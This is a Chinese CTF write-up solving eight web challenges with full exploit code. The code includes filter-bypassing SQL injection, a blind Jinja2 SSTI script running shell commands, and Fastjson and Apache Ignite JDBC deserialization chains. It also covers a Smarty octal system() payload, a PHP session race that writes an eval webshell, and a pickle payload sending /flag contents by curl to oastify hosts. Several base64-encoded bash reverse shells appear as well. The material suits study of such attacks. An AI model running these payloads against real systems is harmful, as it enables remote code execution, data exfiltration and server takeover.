sInXx
访问题目首页,发现为一个员工查询的小功能,猜测考点应该是 SQL 注入,该位置应该存在SQL命令的拼接,利用 payload :juan79%27%09and%09%281%3D1%29%23
,页面存在回显
然后通过测试发现过滤了逗号 可以用join连接表测试列数
1'%09UNION%09SELECT%09*%09FROM%09((SELECT%091)A%09join%09(SELECT%091)B%09join%09(SELECT%091)C%09join%09(SELECT%091)D%09join%09(SELECT%091)E)#
然后我们注入数据表,因为or不能用所以需要无列名注入
1' UNION SELECT * FROM ((SELECT GROUP_CONCAT(TABLE_NAME) FROM sys.schema_table_statistics WHERE TABLE_SCHEMA=DATABASE())A join (SELECT 1)B join (SELECT 1)C join (SELECT 1)D join (SELECT 1)E)#
拿到数据表DataSyncFLAG
然后无列名注入拿数据即可
1' UNION SELECT * FROM ((SELECT `2` FROM (SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b) UNION SELECT * FROM DataSyncFLAG)alimit 2 offset 1)A join (SELECT 1)B join (SELECT 1)C join (SELECT 1)D join (SELECT 1)E)#
Injct
测试发现 {{}}
被过滤了,那么考虑利用 {% %}
的方式进行绕过,同时发现 print
还是被过滤,那么考虑利用盲注的方式。继续构造,发现 __
都被过滤了,考虑利用attr
与 ~
进行绕过。
编写脚本
import requests
res = ''
s = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_{}'
for i in range(1,50):
for j in s:
url = "http://gzctf.imxbt.cn:50081/greet"
data= {
"name":"{%if((''|attr((lipsum|string|list).pop(18)*2~'cla''ss'~(lipsum|string|list).pop(18)*2)|attr((lipsum|string|list).pop(18)*2~'mro'~(lipsum|string|list).pop(18)*2)|attr((lipsum|string|list).pop(18)*2~'geti''tem'~(lipsum|string|list).pop(18)*2)(1)|attr((lipsum|string|list).pop(18)*2~'subc''lasses'~(lipsum|string|list).pop(18)*2)()|attr((lipsum|string|list).pop(18)*2~'geti''tem'~(lipsum|string|list).pop(18)*2)(101)|attr((lipsum|string|list).pop(18)*2~'init'~(lipsum|string|list).pop(18)*2)|attr((lipsum|string|list).pop(18)*2~'global''s'~(lipsum|string|list).pop(18)*2)|attr((lipsum|string|list).pop(18)*2~'getit''em'~(lipsum|string|list).pop(18)*2)((lipsum|string|list).pop(18)*2~'builtin''s'~(lipsum|string|list).pop(18)*2)|attr((lipsum|string|list).pop(18)*2~'geti''tem'~(lipsum|string|list).pop(18)*2)('ev''al')((lipsum|string|list).pop(18)*2~'imp''ort'~(lipsum|string|list).pop(18)*2)('o''s')|attr('po''pen')('head$IFS$9-c$IFS$9"+str(i)+"$IFS$9/flag')|attr('re''ad')())=='"+str(res+j)+"')%}success{%endif%}"
}
headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
r = requests.post(url, headers=headers,data=data)
if "success" in r.text:
res+=j
print(res)
break
爆破得到flag。
FastDB
访问题目容器,发现为一个简易的图书管理系统。在批量添加图书位置发现是需要输入 json
的数据,猜测利用到 FastJson
, 利用 DnsLog
进行测试,如下:
得到回显结果,确实存在fastjson
的反序列化
利用常见的 payload
进行测试,发现并没有直接的回显,猜测依赖版本应该是大于1.2.48
,考虑进行 Fastjson+JDBC
的利用。
由于该环境使用的是SpringBoot,且并没有提供源码进行分析,考虑利用 Jackson 构造一条 Spring 的原生反序列化链,进行测试,构建方法如下:
在ysoserial项目中,创建如下利用链:
package ysoserial.payloads;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class Spring3 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException>{
@Override
public BadAttributeValueExpException getObject(String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
//链子删除关键方法
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
//链子不稳定的问题
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
POJONode node = new POJONode(proxyObj);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, node);
return val;
}
public static void main(String[] args) throws Exception {
PayloadRunner.run(Spring3.class,args);
}
}
然后利用工具evil-mysql
和自编译的ysoserial
生成利用服务:
./evil-mysql -addr 3406 -java java -ysoserial ysoserial.jar
payload如下:
{
"name": {
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "192.168.67.50",
"portToConnectTo": 3406,
"info": {
"user": "yso_Spring3_bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguNjcuNTAvNTU1NSAwPiYx}|{base64,-d}|{bash,-i}",
"password": "pass",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
}
}
}
发送后服务获得请求,如下图:
PHUPE
考点:smarty模板注入
该题提供代码进行分析,且代码文件不多,经过分析定位到如下位置:
<?php
class FileModel {
private $uploadDir = 'uploads/';
public function getFileContent() {
if (isset($_GET['file'])) {
$file = $this->uploadDir . basename($_GET['file']);
if (file_exists($file)) {
return file_get_contents($file);
}
}
return '';
}
public function uploadFile($file) {
$name = isset($_GET['name'])? $_GET['name'] : basename($file['name']);
$fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION));
if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false ) {
return false;
}
$data = file_get_contents($file['tmp_name']);
if(preg_match('/php|if|eval|system|exec|shell|readfile|t_contents|function|strings|literal|path|cat|nl|flag|tail|tac|ls|dir|:|show|high/i',$data)){
echo "<script>alert('恶意内容!')</script>";
return false;
}
$target_file = $this->uploadDir .$name;
if (move_uploaded_file($file['tmp_name'], $target_file)) {
echo "<script>alert('文件上传成功!')</script>";
return true;
}
return false;
}
}
上传文件的后缀名存在限制不能含有 ph 与 hta,由于该题使用到 Smarty 模板,且文件名是通过获取的,考虑上传替换tpl文件,但是又存在限制如下:
考虑进行绕过,查找资料可以发现,在 smarty 还可以使用 math + 8进制 进行绕过如下:
八进制执行system('cat /flag')
{extends file='views/layout.tpl'}
{block name=content}
<h1>CTF File Reader</h1>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file">
<button type="submit">Upload</button>
</form>
<pre>{$file_content}</pre>
{math equation="(\"\\163\\171\\163\\164\\145\\155\")(\"\\143\\141\\164\\40\\57\\146\\154\\141\\147\")"}
{/block}
RedFox
首先访问网站,发现是一个简易版本的社交媒体站点
简单测试之后,发现在发帖功能的位置处存在获取 url 的情况,能够获取远程图片并下载,所以该位置应该是存在服务端请求,根据这个思路猜测是存在 SSRF 漏洞,利用 file 协议测试读取本地文件
发现直接提供了一个eval 代码执行,但是限制我们传入的参数,不能为字母数字,且不一致不能超过7个。
考虑利用 ./???/???
的方式进行利用,但是需要存在一个临时文件,考虑利用 sess 临时文件,读取配置文件php.ini发现该保存目录为,如下图:
file:///etc/php7.0/apache2/php.ini
得到session.save_path="/var/lib/php/ses"
然后编写脚本写入一句话木马:
import io
import sys
import requests
import threading
sessid = '123123123123123'
def WRITE(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://192.168.50.193:18999/index.php',
data={
"PHP_SESSION_UPLOAD_PROGRESS": "1\necho '<?php eval($_POST[1]);'>/var/www/html/uploads/1.php\n"},
files={"file": ('q.txt', f)},
cookies={'PHPSESSID': sessid}
)
def READ(session):
while True:
request = requests.session()
data = {
'action': 'login',
'username': 'test',
'password': 'test123'
}
request.post("http://192.168.50.193:18999", data=data)
data = {
'action': 'download_message',
'data': '`. /???/???/???/???/????????????????????`;'
}
request.post("http://192.168.50.193:18999/", data=data)
if requests.get("http://192.168.50.193:18999/uploads/1.php").status_code != 404:
print('Success!')
exit(0)
with requests.session() as session:
t1 = threading.Thread(target=WRITE, args=(session,))
t1.daemon = True
t1.start()
READ(session)
SNEKLY
题目直接提供源码审计,关键触发点应该在于 /unSer
,需要构造出 user['data']
才能够进行反序列化,进行测试后发现存在一处SQL注入,存在 username
与 password
的一致性检测,考虑利用SQL Quine
来进行构造绕过,并且将 user['data']
位置写入反序列化数据。
关于 SQL Quine
的构造,通常都是以 REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46)
的形式,详细如下:
select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');
利用'replace(".",char(46),".")');替换'replace(".",char(46),".")'
中的符号.
输入和输出的结果为:
replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');
replace("replace(".",char(46),".")",char(46),"replace(".",char(46),".")") ;
然后分析 pickle 反序列化,过滤了一些字符,但是可以利用以下 payload 进行绕过:
b'''c__builtin__
filter
p0
0(S'curl http://`whoami`.c6jqhw6vgg44g1o9ys27ay6rbih950tp.oastify.com'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
tuple
p4
(g3
t\x81.'''
构造完整的exp, 如下:
import base64
import requests
def quine(data):
data = data.replace('$$', "REPLACE(REPLACE(REPLACE($$,CHAR(39),CHAR(34)),CHAR(36),$$), CHAR(92), CHAR())")
data1 = data.replace("'", '"').replace('$$', "'$'")
data = data.replace('$$', f'"{data1}"')
return data
def exp():
username = "test\"'"
opcode = b'''c__builtin__
filter
p0
0(S'curl http://`cat /f*`.3cgdgr4i4bjr3ytl38s6zm0mddj47vvk.oastify.com'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
tuple
p4
(g3
t\x81.'''
a = base64.b64encode(opcode).decode()
res = ''
for i in a:
if ord(i) > 58 or ord(i) < 47:
res += "||CHAR(" + str(ord(i)) + ")"
else:
res += "||" + i
res = res[2:]
password = f" UNION SELECT $$, CHAR({','.join(str(ord(c)) for c in username)}), $$,({res});-- -"
password = quine(password)
requests.post(url="http://gzctf.imxbt.cn:50137/login",
data={
"username": username,
"password": password
})
requests.get(url="http://gzctf.imxbt.cn:50137/unSer")
if __name__ == "__main__":
exp()
ignite
漏洞成因是因为远程节点允许客户端节点传送sqldialect的配置,该配置可以指定jdbc连接字符串,同时需要想办法在服务器还原好org.h2.jdbcx.JdbcDataSource对象,这里的payload是使用IgniteReflectionFactory构造的。
在构造好JdbcDataSource
对象后,就可以指定jdbc连接字符串,攻击h2完成rce。
首先准备好java maven项目,将h2-1.4.197.jar
设置为项目的依赖lib并添加下列maven依赖
<dependency>
<groupId>org.apache.ignite</groupId>
<artifactId>ignite-core</artifactId>
<version>2.15.0</version>
</dependency>
<dependency>
<groupId>org.apache.ignite</groupId>
<artifactId>ignite-spring</artifactId>
<version>2.15.0</version>
</dependency>
修改下列代码中的[1]、[2]处
import org.apache.ignite.IgniteException;
import org.apache.ignite.Ignition;
import org.apache.ignite.cache.store.jdbc.CacheJdbcPojoStoreFactory;
import org.apache.ignite.configuration.CacheConfiguration;
import org.apache.ignite.configuration.IgniteConfiguration;
import org.apache.ignite.configuration.IgniteReflectionFactory;
import org.apache.ignite.spi.discovery.tcp.TcpDiscoverySpi;
import org.apache.ignite.spi.discovery.tcp.ipfinder.multicast.TcpDiscoveryMulticastIpFinder;
import java.io.Serializable;
import java.util.Collections;
import java.util.HashMap;
import java.util.Map;
public class solve {
public static void main(String[] args) throws IgniteException {
IgniteConfiguration igniteCfg = new IgniteConfiguration();
CacheConfiguration<Integer, Integer> customCacheCfg = new CacheConfiguration<>();
CacheJdbcPojoStoreFactory<Integer, Integer> factory = new CacheJdbcPojoStoreFactory<>();
customCacheCfg.setName("s");
String javascript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguNjcuNTAvNTU1NSAwPiYx}|{base64,-d}|{bash,-i}\")"; // [1]
String url = "jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS $$" + javascript + "$$";
Map<String, Serializable> a = new HashMap<>();
a.put("url",url);
IgniteReflectionFactory exp = new IgniteReflectionFactory(org.h2.jdbcx.JdbcDataSource.class);
exp.setProperties(a);
factory.setDataSourceFactory(exp);
customCacheCfg.setCacheStoreFactory(factory);
igniteCfg.setCacheConfiguration(customCacheCfg);
// The node will be started as a client node.
igniteCfg.setClientMode(true);
// Classes of custom Java logic will be transferred over the wire from this app.
igniteCfg.setPeerClassLoadingEnabled(false);
// Setting up an IP Finder to ensure the client can locate the servers.
TcpDiscoveryMulticastIpFinder ipFinder = new TcpDiscoveryMulticastIpFinder();
ipFinder.setAddresses(Collections.singletonList("127.0.0.1:10000")); // [2]
igniteCfg.setDiscoverySpi(new TcpDiscoverySpi().setIpFinder(ipFinder));
// Starting the node
Ignition.start(igniteCfg);
}
}
将[1]中修改为自定义的命令,将[2]替换成题目地址,完成修改后运行就能执行命令了。这里反弹shell,直接cat /flag
没有权限,执行/readflag
即可得到flag。
StrmD
题目给了jar包进行审计,发现存在fastjson 1.2.67与h2的1.4.199依赖。
还没有发现漏洞的触发点,翻找API发现,在 /insert
中存在 fastjson
反序列化的点。但该依赖版本高,存在autoType
的限制,需要进行绕过。
发现存在一个类DatabaseConnector
实现了AutoCloseable
,存在绕过。
同时还存在以下代码的调用:
判断需要利用该位置进行反序列化,所以创建一个h2.sql
,内容如下:
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;CALL SHELLEXEC('bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84MDgwIDA+JjE=}|{base64,-d}|{bash,-i}')
利用以下payload:
http://192.168.67.50:8080/insert?data=%7B%22%40type%22%3A%22java.lang.AutoCloseable%22%2C%22%40type%22%3A%22com.ctf.ezser.utils.DatabaseConnector%22%2C%22connection%22%3A%22jdbc%3Ah2%3Amem%3A%3BTRACE_LEVEL_SYSTEM_OUT%3D3%3BINIT%3DRUNSCRIPT%20FROM%20'http%3A%2F%2F127.0.0.1%3A8777%2Fh2_exec.sql'%22%7D
{"@type":"java.lang.AutoCloseable",
"@type":"com.ctf.ezser.utils.DatabaseConnector",
"connection":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8777/h2_exec.sql'"}